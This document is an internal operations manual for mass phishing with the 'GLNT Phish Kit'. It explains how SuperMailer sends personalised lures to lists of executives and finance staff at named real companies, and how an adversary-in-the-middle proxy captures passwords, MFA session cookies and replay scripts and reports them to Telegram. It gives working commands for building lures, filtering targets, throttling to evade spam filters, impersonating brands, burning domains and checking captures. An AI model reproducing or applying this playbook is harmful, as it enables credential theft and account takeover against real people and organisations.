

FM-005 — Supermailer Campaign Operations

Version: 1.0 | **Classification:** Internal | **Last Updated:** 2026-06-23

1. Overview

Supermailer (Professional Unlimited BCC license) is the email delivery engine for the GLNT Phish Kit. It sends HTML lure emails to target lists with per-recipient personalization via BCC mode, tracks opens/clicks/bounces, and handles throttling.

Pipeline position:

```
Lead CSV (glnt-data/leads/*.csv)
  → build-campaign-email.sh (fills {LINK} + {RECIPIENT_NAME} into
  template)
  → SuperMailer (SMTP send with throttling, BCC, tracking)
  → Recipient inbox → clicks link → glnt.cc → AiTM proxy → credentials
  captured
  → Telegram alert + analytics dashboard
```

Key paths: `scripts/build-campaign-email.sh` (link insertion), `lures/*.html` (10 body lures with `{LINK} / {RECIPIENT_NAME}`), `lures/attachments/*.html` (10 attachment lures with `{LINK} / ##victimemail## / {SENDER_ORG}`), `~/glnt-data/leads/` (113K+ verified CSVs), `CURRENT_LINK.txt` (active phishing URL).

2. SuperMailer Setup

2.1 SMTP CONFIGURATION

SuperMailer → **Settings** → **SMTP Server** → Add new profile:

```
SMTP Host:      smtp.your-relay.com
Port:          587
Encryption:    STARTTLS           (labeled "TLS" in SuperMailer)
Authentication: Username + Password
Username:      <your-smtp-username>
Password:      <your-smtp-password>
```

Click **Test Connection**. A green checkmark confirms reachability and credentials.

SMTP Settings Reference:

Setting	Value	Rationale
Port	587	Standard submission port, universally accepted
Encryption	STARTTLS	Opportunistic TLS — works with nearly all relays
Max emails/hr	50-100	Stay below commercial spam thresholds
Max emails/connection	25	Limits connection reuse, reduces greylisting
Connection timeout	30s	Long enough for slow relays, short enough to fail fast
Max retries	2	Two soft-bounce retries before hard-failing
Pause between retries	300s	Gives the relay time to recover

If SMTP auth fails: (1) verify credentials — some relays require full email as username, (2) check IP whitelisting requirements, (3) try port 25 as fallback.

2.2 DKIM, SPF, DMARC

Without valid authentication, deliverability is near zero.

SPF (TXT record on sender domain):

```
v=spf1 include:_spf.your-relay.com ~all
```

DKIM: Your SMTP relay generates a key pair. Add the public key as CNAME/TXT per their instructions.

DMARC:

```
v=DMARC1; p=none; rua=mailto:dmarc@your-sender-domain.com
```

Start with `p=none` (monitor only). Move to `p=quarantine` only after confirming nothing legitimate is blocked.

Verification: Send a test to mail-tester.com. SPF, DKIM, and DMARC must all show green. Score below 9/10? Fix authentication before sending anything.

2.3 THROTTLE SETTINGS

1. **Settings** → **SMTP Server** → select profile
2. **Max emails per hour:** 50 (warm-up) / 100 (operating)
3. **Max emails per connection:** 25
4. **Enable random delay:** 5-15 seconds between sends

50/hr looks like normal business traffic. 500/hr looks like a mail merge. 5,000/hr looks like a spam run and will be blocked within minutes.

2.4 TEST MODE

Before any campaign: **Campaign** → **Send Test** → your personal Gmail and Outlook addresses. Verify rendering, link clickability, and spam placement. Also use the **Simulate** button (runs campaign logic without sending) to verify merge field substitution.

3. Link Lure Workflow

3.1 BUILD THE CAMPAIGN EMAIL

```
cd /Users/sk_hga/azure-phish-kit

./scripts/build-campaign-email.sh \
  shared-document \
  "https://glnt.cc/#<encrypted-fragment>" \
  "{FirstName}" \
  /tmp/campaign-email.html
```

Arguments:

Arg	Description	Example
\$1	Lure template name (without <code>.html</code>)	<code>shared-document</code>
\$2	Full phishing URL with encrypted fragment	<code>https://glnt.cc/#abc123...</code>
\$3	SuperMailer merge field for recipient name	<code>{FirstName}</code>
\$4	Output file path	<code>/tmp/campaign-email.html</code>

3.2 HOW PLACEHOLDERS WORK

The script runs:

```
sed "s|{LINK}|${LINK}|g; s|{RECIPIENT_NAME}|${NAME}|g" "$LURE_FILE" >
"$OUTPUT"
```

```
{LINK}          → phishing URL (e.g., https://glnt.cc/#...)
{RECIPIENT_NAME} → SuperMailer merge field (e.g., {FirstName})
```

Critical detail: The greeting is `Hello{RECIPIENT_NAME},` (no space). SuperMailer substitutes `{FirstName}` → “Dirk” yielding “HelloDirk,”. The template omits the space intentionally so it doesn’t appear before the comma. To add a space, edit the lure to `Hello {RECIPIENT_NAME},` before building.

3.3 PASTE INTO SUPERMAILER

1. SuperMailer → **Campaign** → **New Campaign** → name it (e.g., `spring-phish-001-addus`)
2. **Message** tab → click **HTML Source** (the `<>` icon)
3. Open the built email in a text editor → **Select All** → **Copy**
4. **Paste** entire contents into HTML Source view → click **Apply**
5. Verify the HTML preview: button, document details, footer all render correctly
6. Check **Text** tab — confirm auto-generated plain-text fallback reads naturally
7. Check **Attachments** tab — inline HTML lures should have zero attachments

3.4 CONFIGURE SENDER IDENTITY

Field	Value	Notes
From Name	Match the lure theme	"Secure Document Portal", "IT Support", "HR Department"
From Email	Matching sender address	<code>documents@portal-verify.com</code>
Reply-To	Same as From Email	Replies land in a monitored inbox
Return-Path	Bounce-handling address	<code>bounces@your-relay.com</code> — separate from sender

The sender domain **must not** be your phishing domain (e.g., `glnt.cc`). Use a separate domain with valid SPF/DKIM/DMARC. Burn sender domains between campaigns — never reuse across targets.

3.5 BCC MODE

SuperMailer's BCC mode sends each email individually. `{FirstName}` is substituted with the actual name from your lead list. The recipient sees "Hello Dirk," not "Hello Colleague,". Personalization increases open rates 30-50%.

Do NOT use `##victimemail##` in body lures — that placeholder is only for attachment lures (Section 4).

4. Attachment Lure Workflow

Attachment lures are `.html` files sent as email attachments. When opened, they render a branded page with a call-to-action button linking to the phishing URL.

4.1 AVAILABLE ATTACHMENT LURES

All in `lures/attachments/`:

File	Brand	Use Case
<code>docusign-wire.html</code>	DocuSign	Wire transfers, contract signing
<code>sharepoint-doc.html</code>	SharePoint	Internal document library
<code>dropbox-share.html</code>	Dropbox	External file sharing
<code>teams-recording.html</code>	Teams	Meeting recording access
<code>zoom-recording.html</code>	Zoom	Cloud recording
<code>adobe-contract.html</code>	Adobe	E-signature, contracts
<code>onedrive-file.html</code>	OneDrive	File access request
<code>gdocs-shared.html</code>	Google Docs	Shared document
<code>excel-shared.html</code>	Excel Online	Shared workbook
<code>stripe-payment.html</code>	Stripe	Payment receipt/transfer

4.2 ATTACHMENT PLACEHOLDERS

Attachment lures use three placeholders:

<code>{LINK}</code>	→ phishing URL (same as body lures)
<code>##victimemail##</code>	→ recipient's email address, displayed in the attachment body
<code>{SENDER_ORG}</code>	→ sender's organization name (e.g., "Fidelity Investments")

Example from DocuSign: “Sign-in authentication with dirk.allison@addus.com is required to access the document.” The `##victimemail##` placeholder makes the attachment feel authentic by already “knowing” the recipient’s email.

4.3 BUILDING AN ATTACHMENT LURE

`build-campaign-email.sh` only handles `{LINK}` and `{RECIPIENT_NAME}`. For attachment lures, use manual sed:

```
LINK="https://glnt.cc/#<encrypted-fragment>"
sed "s|{LINK}|${LINK}|g; s|##victimemail##|{Email}|g; s|{SENDER_ORG}|{Company}|g" \
  lures/attachments/docusign-wire.html > /tmp/docusign-attachment.html
```

This maps:

- `##victimemail##` → `{Email}` (SuperMailer merge field)
- `{SENDER_ORG}` → `{Company}` (SuperMailer merge field from lead CSV `company` column)

4.4 SENDING IN SUPERMAILER

1. **Campaign** → **New Campaign** → name it
2. **Message** tab → write a short plain-text email body (2-3 sentences):

| "Please find the attached document. Let me know if you have any questions."

3. Do NOT paste HTML into the body — body is plain text for attachment campaigns
4. Click **Attach File** → browse to your built attachment HTML
5. Rename the file before attaching: `docusign-wire.html` → `Document_Review.html` (innocent name, keep `.html` extension)
6. Set **From Name** to match the brand (e.g., “DocuSign”, “Microsoft Teams”)
7. Set **From Email** to a matching sender address (e.g., `noreply@docusign-notify.com`)

4.5 TESTING ATTACHMENT LURES

1. **Send Test** to yourself

2. Open in Gmail and Outlook — download and open the `.html` attachment
3. Verify rendering (logos, colors, button) and click the link to confirm proxy routing
4. Complete test login, verify Telegram notification, confirm placeholder substitution

5. Lead Import

5.1 LEAD CSV FORMAT

Leads are at `~/glnt-data/leads/`. Verified, deliverable addresses with full metadata.

```
email,first,last,domain,pattern,department,company,title,verified,mx,_verified,metadata
abigail.johnson@fidelity.com,Abigail,Johnson,fidelity.com,first.last,Executive,Investments,CEO,mx_valid,,risky,2026-06-22T18:35:46Z,fidelity-com.mail.protection.outlook.com.,,12
```

Key column mapping:

CSV Column	SuperMailer Field	Purpose
<code>email</code>	<code>{Email}</code>	Recipient address — required
<code>first</code>	<code>{FirstName}</code>	First name for greeting personalization
<code>last</code>	<code>{LastName}</code>	Last name (optional)
<code>company</code>	<code>{Company}</code>	Organization name for <code>{SENDER_ORG}</code> in attachment lures

5.2 IMPORT STEPS

1. SuperMailer → **Recipients** → **Import** → **CSV File**
2. Select target CSV from `~/glnt-data/leads/`
3. Map columns: `email` → Email, `first` → FirstName, `last` → LastName, `company` → Custom field: Company
4. Uncheck all other columns (`domain`, `pattern`, `department`, `title`, `verified`, `mx`, metadata)

5. Enable **Deduplicate** → by **Email address**
6. Assign to a **Group** named after the campaign (e.g., `spring-phish-001-addus`)
7. Click **Import** → verify recipient count matches `wc -l <csv-file>`

5.3 FILTERING BEFORE IMPORT

```
# MX-verified only (higher deliverability)
grep ',mx_valid,' ~/glnt-data/leads/master_leads_verified.csv >
/tmp/mx_valid_leads.csv

# Executives only
grep -iE 'CEO|CFO|CIO|CTO|COO|President|Director|VP' ~/glnt-
data/leads/master_leads_verified.csv > /tmp/executive_leads.csv

# By company or department
grep 'Fidelity' ~/glnt-data/leads/master_leads_verified.csv >
/tmp/fidelity_leads.csv
grep -iE 'Finance|Accounting|Treasury' ~/glnt-
data/leads/master_leads_verified.csv > /tmp/finance_leads.csv
```

5.4 SPLITTING LARGE LISTS

```
# Split 100K+ CSV into 5K-recipient chunks
split -l 5000 ~/glnt-data/leads/master_leads_verified.csv /tmp/batch_
# Import each chunk as a separate Group in SuperMailer
```

6. Sending Best Practices

6.1 DOMAIN WARM-UP SCHEDULE

Phase	Rate	Duration	Recipients
Day 1 — Warm-up	10/hr	Full day	~80
Day 2 — Ramp	25/hr	Full day	~200
Day 3 — Ramp	50/hr	Full day	~400
Day 4+ — Full send	100/hr	Until done	Remaining

Never blast a cold domain. If the total list is under 100 recipients, skip to 25/hr directly.

6.2 SEND WINDOWS

- **Tuesday through Thursday** — Mon/Fri have lower engagement
- **9:00-11:00 AM target timezone** — people check email after arriving, before meetings
- **Avoid weekends** — business lures on Saturday are suspicious
- **Avoid holidays** — inboxes are ignored and security teams are off

Use SuperMailer's **Scheduler** (Campaign → Schedule) to launch at 9:00 AM target timezone.

6.3 BATCH SIZES AND PER-DOMAIN THROTTLING

- **Batch size:** 500 recipients, with 30-minute pauses between batches
- **At 100/hr:** ~800 emails/day from a single domain

Per-recipient-domain limits:

Provider	Max/hr	Notes
Microsoft 365	30/hr	Per tenant domain
Google Workspace	50/hr	Total to gmail.com
Small business	20/hr	Any single domain

Split lead lists by recipient domain and send campaigns sequentially:

```
grep '@addus.com$' ~/glnt-data/leads/master_leads_verified.csv >
/tmp/addus_leads.csv
grep '@fidelity.com$' ~/glnt-data/leads/master_leads_verified.csv >
/tmp/fidelity_leads.csv
# Import separately, send sequentially
```

6.4 BOUNCE HANDLING

SuperMailer auto-suppresses hard bounces. Monitor Campaign → **Statistics** → **Bounces** actively.

Bounce Rate	Action
< 2%	Normal — continue
2-5%	Elevated — slow rate, monitor closely
> 5%	STOP IMMEDIATELY — reputation is deteriorating

Investigate >5% bounces: re-verify lead list, check SPF/DKIM/DMARC, check if specific keywords trigger spam filters.

6.5 TEST SEND (MANDATORY BEFORE EVERY CAMPAIGN)

1. **Send Test** to your Gmail and Outlook addresses
2. **Verify rendering** in Gmail (web), Outlook (desktop — Word engine), Apple Mail (iOS)
3. **Run through mail-tester.com** — score must be 9/10+

4. **Verify link end-to-end:** click → bootloader loads → reaches real login → complete MFA → Telegram notification
5. **Check raw headers** (Gmail: three dots → Show Original): no phishing domain in any header, no EC2 IP in `Received:` chain, `Return-Path` points to bounce address

Go/No-Go checklist: mail-tester 9+/10, link resolves to real login, Telegram capture confirmed, headers clean (no phishing domain/IP leaks), renders in Gmail/Outlook/mobile, BCC personalization correct. Fix any failed check and re-test. Never skip this step.

7. Campaign Types and Lure Selection

7.1 BODY LURES (INLINE HTML)

Lure	Best For
<code>shared-document.html</code>	General document sharing — broad appeal, safe default
<code>security-alert.html</code>	Urgent security notifications — high urgency, high open rate
<code>it-support.html</code>	Password reset, account action — requires immediate action
<code>invoice-payment.html</code>	Invoice/payment notifications — targets finance staff
<code>meeting-invite.html</code>	Calendar invitations — low suspicion
<code>voicemail-notification.html</code>	Missed call/voicemail — novelty, moderate engagement
<code>package-delivery.html</code>	Shipping notifications — broad consumer appeal
<code>hr-document.html</code>	Confidential personnel docs — high curiosity
<code>contract-signature.html</code>	Contract review — targets managers/executives
<code>expense-report.html</code>	Expense report review — targets managers/approvers

7.2 ATTACHMENT LURES (HTML FILE ATTACHED TO EMAIL)

Lure	Brand	Best When
<code>docusign-wire.html</code>	DocuSign	Financial/legal targets
<code>sharepoint-doc.html</code>	SharePoint	Microsoft 365 shops
<code>dropbox-share.html</code>	Dropbox	Cross-org collaboration
<code>teams-recording.html</code>	Teams	Post-meeting context
<code>zoom-recording.html</code>	Zoom	Video-dependent orgs
<code>adobe-contract.html</code>	Adobe	Legal/compliance targets
<code>onedrive-file.html</code>	OneDrive	Microsoft 365 users
<code>gdocs-shared.html</code>	Google Docs	Google Workspace users
<code>excel-shared.html</code>	Excel Online	Finance/analytics targets
<code>stripe-payment.html</code>	Stripe	Finance/payments teams

7.3 SELECTION HEURISTICS

Use body lures when: target org tech stack unknown, you want max deliverability (inline avoids attachment scanning), lure relies on urgency, broad mixed audience.

Use attachment lures when: you know the target platform (M365 → SharePoint/Teams/OneDrive), scenario is financial/legal/HR (attachments feel legitimate for docs), target is sophisticated, you want the lure to survive preview panes (attachments aren't rendered until opened).

Matching lure to target role:

Role	Recommended Lures
Executives (CEO, CFO)	<code>docusign-wire.html</code> , <code>contract-signature.html</code> , <code>sharepoint-doc.html</code>
Finance/Accounting	<code>invoice-payment.html</code> , <code>expense-report.html</code> , <code>stripe-payment.html</code>
IT/Admin	<code>security-alert.html</code> , <code>it-support.html</code> , <code>teams-recording.html</code>
General employees	<code>shared-document.html</code> , <code>hr-document.html</code> , <code>meeting-invite.html</code>

A/B test: Split 50/50 between body and attachment lures. Use the higher-performing format for the remainder.

8. Post-Campaign

8.1 ANALYTICS DASHBOARD

`http://<EC2-IP>:9092/?token=<YOUR_TOKEN>`

Monitor: total events vs. SuperMailer click count (should match; gap = bootloader/proxy down), success rate (healthy: 15-30%, below 10% = proxy issue), top victim IPs (corporate IPs = right org; residential = personal devices or researchers).

8.2 TELEGRAM ALERTS

Each capture sends username, password, IP, User-Agent, timestamp, and a `.txt` attachment with session cookies and replay script.

Monitoring cadence: first hour = continuously, rest of campaign = every 30 min, post-campaign = daily for 72 hours (delayed opens peak days 2-3).

8.3 LEAD LIST CLEANUP

```
# Export bounces from SuperMailer: Campaign → Statistics → Export Bounces
# Remove hard bounces from master list
grep -v -f <(cut -d',' -f1 ~/glnt-data/leads/bounces/<campaign>-
bounces.csv) \
  ~/glnt-data/leads/master_leads_verified.csv \
  > ~/glnt-data/leads/master_leads_verified_clean.csv

# Maintain suppression list to avoid re-targeting
echo "dirk.allison@addus.com,spring-phish-001,2026-06-23,clicked" >>
~/glnt-data/leads/suppression-list.csv
```

8.4 CAMPAIGN ARCHIVE

```
mkdir -p ~/glnt-data/campaigns/spring-phish-001/
cp /tmp/campaign-email.html ~/glnt-data/campaigns/spring-phish-
001/lure.html
cp ~/glnt-data/leads/addus_leads.csv ~/glnt-data/campaigns/spring-phish-
001/leads.csv
cp /Users/sk_hga/azure-phish-kit/CURRENT_LINK.txt ~/glnt-
data/campaigns/spring-phish-001/
# Export SuperMailer delivery report and bounce list to same directory
```

8.5 INFRASTRUCTURE TEARDOWN

Between campaigns targeting different organizations:

- ☐ Delete SMTP profile from SuperMailer and rotate relay credentials
- ☐ Burn sender domain (let expire or park)
- ☐ Burn phishing domain (see FM-001 for domain rotation)
- ☐ Delete Cloudflare Worker and terminate/rebuild EC2
- ☐ Generate new AES key with `payload-generator/keygen.go`

Never reuse infrastructure across campaigns targeting different orgs.

9. Troubleshooting

9.1 SMTP ISSUES

Symptom	Fix
SMTP auth fails	Re-enter credentials; check relay requires IP whitelisting
Connection timeout	Test with <code>telnet smtp.relay.com 587</code> ; check firewall
"Relay access denied"	Enable "Authenticate before send" in SMTP settings
Emails stuck in outbox	Throttle too high — lower to 25/hr
TLS handshake fails	Try port 465/SSL instead of 587/STARTTLS

9.2 HTML RENDERING IN OUTLOOK

Outlook uses Word's HTML engine. Common fixes:

Symptom	Fix
Button is blue text (no styling)	Attachment lures include VML fallbacks (<code><!--[if mso]></code>); body lures may need similar
SVG icons missing	Attachment lures include MSO text-based fallbacks
Background colors missing	Use <code>bgcolor</code> attribute on <code><td></code> elements
Fonts wrong	Apply <code>font-family</code> to <code><td></code> , not <code><p></code>

9.3 DKIM/SPF FAILURES

Symptom	Action
DKIM "none"	DNS not propagated — wait 24h and retest
DKIM "fail"	Key mismatch — contact relay provider
SPF fail but DKIM passes	Add <code>include:_spf.your-relay.com</code> to SPF record

9.4 CAMPAIGN MONITORING

Symptom	Check
High opens, zero clicks	Link broken or URL-wrapped by security filter — click test email yourself
High clicks, zero captures	Bootloader/proxy down — <code>curl -I https://<domain>/</code> should return 200; <code>systemctl status phish-proxy</code>
Bounce rate climbing	Pause immediately — sender domain flagged; switch to backup domain
Open rate < 10%	Subject/sender weak OR emails landing in Promotions/Spam tab
Sent but not received	Landing in spam or silently dropped — check with mail-tester.com

9.5 LURE ISSUES

Symptom	Cause	Fix
<code>{RECIPIENT_NAME}</code> appears literally	sed substitution failed	Re-run <code>build-campaign-email.sh</code>
<code>##victimemail##</code> appears in attachment	Placeholder not replaced	Use manual sed per Section 4.3
Missing button in preview	<code>{LINK}</code> not replaced	Verify link was passed as <code>\$2</code>

9.6 QUICK DIAGNOSTIC COMMANDS

```
# Proxy serves bootloader
curl -I https://<your-domain>/      # Expect: HTTP 200

# Proxy routes to real login
UPSTREAM=$(python3 -c "import urllib.parse;
print(urllib.parse.quote('https://login.microsoftonline.com/',
safe=''))")
curl -H "Cookie: _s=${UPSTREAM}" https://<your-domain>/      # Expect:
Microsoft login HTML

# Proxy logs, analytics, recent captures
ssh ubuntu@<EC2-IP> "journalctl -u phish-proxy -f -n 50"
curl -s "http://<EC2-IP>:9092/?token=<TOKEN>" | head -20
ssh ubuntu@<EC2-IP> "tail -20 /home/ubuntu/azure-phish-
kit/data/captures.jsonl"
ssh ubuntu@<EC2-IP> "grep '<campaign-id>' /home/ubuntu/azure-phish-
kit/data/captures.jsonl | wc -l"
```

End of FM-005